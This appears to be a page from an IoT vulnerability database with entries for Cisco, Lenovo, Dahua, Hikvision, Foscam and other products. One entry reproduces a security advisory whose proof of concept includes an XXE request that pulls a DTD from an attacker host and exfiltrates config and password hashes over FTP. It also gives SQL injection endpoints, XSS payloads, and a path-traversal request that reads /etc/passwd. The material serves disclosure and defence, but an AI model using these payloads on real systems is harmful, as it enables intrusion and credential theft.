VARIoT IoT vulnerabilities database

A vulnerability in the web-based management interface of Cisco Prime Infrastructure (PI) and Evolved Programmable Network Manager (EPNM) could allow an unauthenticated, remote attacker to conduct a Document Object Model (DOM) based (environment or client-side) cross-site scripting (XSS) attack against a user of the web-based management interface of an affected device. More Information: CSCvc24620 CSCvc49586. Known Affected Releases: 3.1(1) 2.0(4.0.45B). Vendors have confirmed this vulnerability Bug ID CSCvc24620 , CSCvc49586 It is released as.Information may be obtained and information may be altered. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID's CSCvc24620 and CSCvc49586. PI is a set of wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technologies; EPNM is a set of network management solutions. SEC Consult Vulnerability Lab Security Advisory < 20170622-0 > ======================================================================= title: XML External Entity Injection (XXE), SQL Injection, Cross Site Scripting, Local File Disclosure product: Cisco Prime Infrastructure vulnerable version: 1.1 through 3.1.6 fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release) CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700 impact: high homepage: http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Cisco Systems, Inc. (known as Cisco) is an American multinational technology conglomerate headquartered in San JosA(c), California, that develops, manufactures, and sells networking hardware, telecommunications equipment, and other high-technology services and products. Through its numerous acquired subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper, Cisco specializes into specific tech markets, such as Internet of Things (IoT), domain security, and energy management." Source: https://en.wikipedia.org/wiki/Cisco_Systems Business recommendation: ------------------------ SEC Consult recommends to install the latest patch to fix the identified vulnerabilities. Since SEC Consult only performed a short security crash test on this product it is highly recommended to perform a thorough security review as there are indications for further vulnerabilities. Vulnerability overview/description: ----------------------------------- SEC Consult was able to identify some serious vulnerabilities with the low privileged "monitor-only" user. 1) XML External Entity Injection (CVE-2017-6662) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information files with malicious XML code. The hashed password of the local admin user can be accessed without authorization. 2) SQL Injection (CVE-2017-6698) The identified SQL injection vulnerability enables an authenticated attacker with low privileges to execute arbitrary SQL commands. 4) Local File Disclosure (no CVE assigned) Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2017-6662) Login with a low privileged user and navigate to Settings > Export > select Format 'PDF' click 'Export'. Make sure the 'Chart' option is selected, this chart uses XML to build SVG images. POST /webacs/prime/ui/dashboard/renderer HTTP/1.1 Host: <CiscoPrimeHost> [...] output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f><!DOCTYPE x [<!ENTITY %25 foo SYSTEM \"http://<AttackerHost>:1234/sectest.dtd\">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><svg+xmlns%3alink%3d\"http%3a//www.w3.org/1999/xlink\"+xmlns%3d\"http%3a//www.w3.org/2000/svg\"><defs/><text>%26%65%78%66%69%6c%3b</text></svg>","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_66@ > 230 more data please! < TYPE I > 230 more data please! < CWD ! > 230 more data please! < hostname <CiscoPrimeHost> [...] < ! > 230 more data please! < username admin password hash <AdminHashedPassword> > 230 more data please! < CWD role admin > 230 more data please! < ! [...] 2) SQL Injection (CVE-2017-6698) A low privileged user such as "monitor-only" user can read the admin's password hashes via SQL injection. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/device-rest/getfiltercriteria/device?start=0&count=100&id=<SQL-Injection>&path=%2Froot Some vulnerable entry points require administrator privileges to exploit. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/<SQL-Injection>&ipAddress=/<SQL-Injection>&time=/<SQL-Injection>&auditDescription=/<SQL-Injection>&userGroup=/<SQL-Injection>&activeDomain=/<SQL-Injection> https://<CiscoPrimeHost>/webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getJobDetails/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobs/<SQL-Injection>/Lightweight%20AP%20Operational%20Status Some URLs with this pattern are affected by the SQL injection vulnerability in the JSON field. https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST) { "items": [ "<SQL-Injection>", "ProxyPort", "ProxyUserName", "ProxyPassword", "isProxyEnabled", "isProxyAuthenticated" ] } https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST) { "items": [ "<SQL-Injection>", "CCOPassword" ] } 3) Cross site scripting a) Reflected cross site scripting (CVE-2017-6699) https://<CiscoPrimeHost>/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=<img+src=x+onerror=alert(/XSS1/)>&confUrl=</ScR</ScRipT>ipT><img+src=x+onerror=alert(/XSS2/)> https://<CiscoPrimeHost>/webacs/applications/inventory/html/ImportJobResults.jsp?taskId=</sc</script>ript><img+src=x+onerror=alert(/XSS1/)>&jobResultPageId='><img+src=x+onerror=alert(/XSS2/)> b) DOM-based cross site scripting (CVE-2017-6700) https://<CiscoPrimeHost>/webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view&taskId=<ExistingTaskID>&jobName="><img src=x onerror=alert(/XSS/)>&pageSettings= https://<CiscoPrimeHost>/webacs/loginAction.do?action=login&product=wcs&selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view&forceLoad=true&jobType=Infrastructure&workState=Scheduled&parentType=usrDefined&lastRunJobId=<ExistingJobId>&lastRunResultState=Success&jobId=<ExistingJobId>&jobName=Mobility Service Status&jobBreadcrumName="><img src=x onerror=alert(/XSS/)> 4) Local File Disclosure The attacker must be in the super users or admin group in order to exploit this vulnerability. https://<CiscoPrimeHost>/webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd GET /webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: <CiscoPrimeHost> [...] HTTP/1.1 200 OK Cache-Control: private Expires: Thu, 01 Jan 1970 01:00:00 CET Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip" Content-Type: application/zip [...] $ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd inflating: etc/passwd $ cat etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt [...] Vulnerable / tested versions: ----------------------------- According to information provided by Cisco, the following versions are affected: 1.1 through 3.1.6 SEC Consult tested the following versions which were the most recent ones at the time of discovery: * 3.1.0.0.70 * 3.1.0.0.132 incl. 3.1.4 patch Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through psirt@cisco.com. 2016-11-23: Initial response from Cisco PSIRT. 2016-11-24: Additional vulnerabilities added. 2016-12-14: Cisco proposed target date for the fixes for March 2017. 2017-03-03: Cisco postponed target date for the fixes to 31 May 2017. 2017-05-16: Cisco postponed target date for the fixes to 21 June 2017. 2017-06-14: CVEs are assigned to the vulnerabilities. 2017-06-21: Patches available 2017-06-22: Coordinated release of security advisory. Solution: --------- Install the patch version 3.1.6 Update 1. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017

A vulnerability in the web application interface of the Cisco Identity Services Engine (ISE) portal could allow an unauthenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the web interface of an affected system. More Information: CSCvd49141. Known Affected Releases: 2.1(102.101). Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. This issue is being tracked by Cisco Bug ID CSCvd49141. The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies. The vulnerability stems from the program's insufficient filtering of user-submitted data

A vulnerability in the web framework of Cisco SocialMiner could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface of an affected system. More Information: CSCve15285. Known Affected Releases: 11.5(1). CiscoSocialMiner is a social media customer care solution. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID CSCve15285

A vulnerability in the web application in the Cisco Prime Collaboration Provisioning tool could allow an unauthenticated, remote attacker to hijack another user's session. More Information: CSCvc90346. Known Affected Releases: 12.1. This issue is being tracked by Cisco bug ID CSCvc90346. The tool provides IP communications services capabilities for IP telephony, voice mail, and unified communications environments

A vulnerability in the web application in the Cisco Prime Collaboration Provisioning tool could allow an authenticated, remote attacker to perform arbitrary file downloads that could allow the attacker to read files from the underlying filesystem. More Information: CSCvc90335. Known Affected Releases: 12.1. Information obtained may aid in further attacks. This issue being tracked by Cisco Bug ID CSCvc90335. The tool provides IP communications services capabilities for IP telephony, voice mail, and unified communications environments

An issue was discovered in Fuji Electric V-Server Version 3.3.22.0 and prior. A memory corruption vulnerability has been identified (aka improper restriction of operations within the bounds of a memory buffer), which may allow remote code execution. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within parsing of a VPR file. The issue results from the lack of proper validation of user-supplied data which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Fuji Electric V-Server is a data collection software from Fuji Electric of Japan. Failed attacks will cause denial of service conditions

HOME SPOT CUBE2 firmware V101 and earlier allows an attacker to bypass authentication to load malicious firmware via WebUI. HOME SPOT CUBE2 provided by KDDI CORPORATION is a wireless LAN router. HOME SPOT CUBE2 contains improper authentication in WebUI. Taizoh Tsukamoto of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.Firmware may be altered by an attacker who can access the management screen of the product. The WebUI is one of the graphical user interfaces. An attacker could exploit the vulnerability to bypass authentication and perform unauthorized operations. Multiple remote command injection vulnerabilities 2. A buffer-overflow vulnerability 3. Other attacks may also be possible

A SQL Injection issue was discovered in Ecava IntegraXor Versions 5.2.1231.0 and prior. The application fails to properly validate user input, which may allow for an unauthenticated attacker to remotely execute arbitrary code in the form of SQL queries. Ecava IntegraXor is a collection of tools for creating and running human-machine interfaces for web-based SCADA systems. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. IntegraXor versions 5.2.1231.0 and prior are vulnerable

Cross-site request forgery (CSRF) vulnerability in TS-WPTCAM, TS-PTCAM, TS-PTCAM/POE, TS-WLC2, TS-WLCE, TS-WRLC firmware version 1.19 and earlier and TS-WPTCAM2 firmware version 1.01 and earlier allows remote attackers to hijack the authentication of administrators via unspecified vectors. Multiple network camera products provided by I-O DATA DEVICE, INC. contains a cross-site request forgery vulnerability (CWE-352). Takayoshi Isayama of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.If a user views a malicious page while logged in, unintended operations may be performed. I-ODATATS-WPTCAM and so on are all network cameras from I-ODATADEVICE, Japan. A remote attacker could exploit this vulnerability to perform unauthorized operations. Other attacks are also possible. TS-WPTCAM2 firmware version 1.19 and prior. TS-PTCAM firmware version 1.19 and prior. TS-PTCAM/POE firmware version 1.19 and prior. TS-WLC2 firmware version 1.19 and prior. TS-WLCE firmware version 1.19 and prior. TS-WRLC firmware version 1.19 and prior

In the IMM2 firmware of Lenovo System x servers, remote commands issued by LXCA or other utilities may be captured in the First Failure Data Capture (FFDC) service log if the service log is generated when that remote command is running. Captured command data may contain clear text login information. Authorized users that can capture and export FFDC service log data may have access to these remote commands. Lenovo System x Server IMM2 The firmware contains a command injection vulnerability.Information may be obtained. LenovoSystemxIMM2 is the firmware used by Lenovo servers to provide remote monitoring and control of the server. A security vulnerability exists in LenovoSystemxIMM2 that could allow an attacker to exploit a vulnerability to obtain a login certificate. Lenovo System x is a server of China Lenovo (Lenovo)

If multiple users are concurrently logged into a single system where one user is sending a command via the Lenovo ToolsCenter Advanced Settings Utility (ASU), UpdateXpress System Pack Installer (UXSPI) or Dynamic System Analysis (DSA) to a second machine, the other users may be able to see the user ID and clear text password that were used to access the second machine during the time the command is processing. Lenovo ToolsCenter Advanced Settings Utility (ASU) , UpdateXpress System Pack Installer (UXSPI) Or Dynamic System Analysis (DSA) Contains an information disclosure vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Security vulnerabilities exist in several Lenovo products. A local attacker can exploit this vulnerability to obtain user IDs and plaintext passwords

Hongfan Computer Technology Co., Ltd. is a high-tech enterprise controlled by CSSC Marine and Defense Equipment Co., Ltd. (CSIC Defense), and is an important part of the state-level technology center. The ioffice OA system involves hospital, government, military, and group industries. There is a SQL injection vulnerability in the mode parameter of the GetBoxyStatus.ashx file in the ioffice OA system, which is caused by the failure to effectively filter the parameters submitted by the user. An attacker could use the vulnerability to access or modify database data.

Dahua Alarm Management Platform is a comprehensive system solution with alarm reception and processing as its core. There is an arbitrary file upload vulnerability in the Dahua Alarm Operation Management Platform device /emap/gis/bitmap/modify.jsp page. Allows an attacker to upload a webshell and gain server permissions.

EnGenius is a Taiwanese wireless manufacturer brand. There is a remote command execution vulnerability in the wireless brain AP products of Shennen EnGenius corporate hotel. Allows an attacker to execute system commands remotely.

Dahua Alarm Management Platform is a comprehensive system solution with alarm reception and processing as its core. Dahua alarm operation management platform equipment bean.recId parameter of attachment_clearTempFile.action file, bean.recId parameter of attachment_getAttList.action file, multiple parameters of caseHistory_search.action file, multiple parameters of maintenance_search.action file, A SQL injection vulnerability exists in the searchBean.point parameter and the searchBean.carNumColor parameter in the picrecordWanted_search.action file. Allows attackers to exploit vulnerabilities to obtain database sensitive information.

igateway gateway is a gateway system produced by Guangzhou Yihang Internet Communication Co., Ltd. The s2-045 remote code execution vulnerability exists in the igateway gateway system, allowing remote attackers to use the vulnerability to execute commands and obtain server permissions.

Hikvision vehicle remote monitoring system is a set of vehicle video network monitoring platform software. Hikvision vehicle remote monitoring system AreaInfoHandle.php page SelectedEnableAdmin parameter has a SQL injection vulnerability. Attackers can use the vulnerability to obtain database sensitive information.

The Milwaukee ONE-KEY Android mobile application uses bearer tokens with an expiration of one year. This bearer token, in combination with a user_id can be used to perform user actions

The Milwaukee ONE-KEY Android mobile application stores the master token in plaintext in the apk binary. A remote attacker could use this vulnerability to forge GPS data

An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary data in the "msmtprc" configuration file resulting in command execution. An attacker can simply send an HTTP request to the device to trigger this vulnerability. The FoscamIndoorIPCameraC1Series is a C1 series wireless IP camera from Foscam, China. Foscam IP Video Camera is prone to multiple command-injection vulnerabilities. Exploiting these issues could allow an attacker to execute arbitrary commands in context of the affected device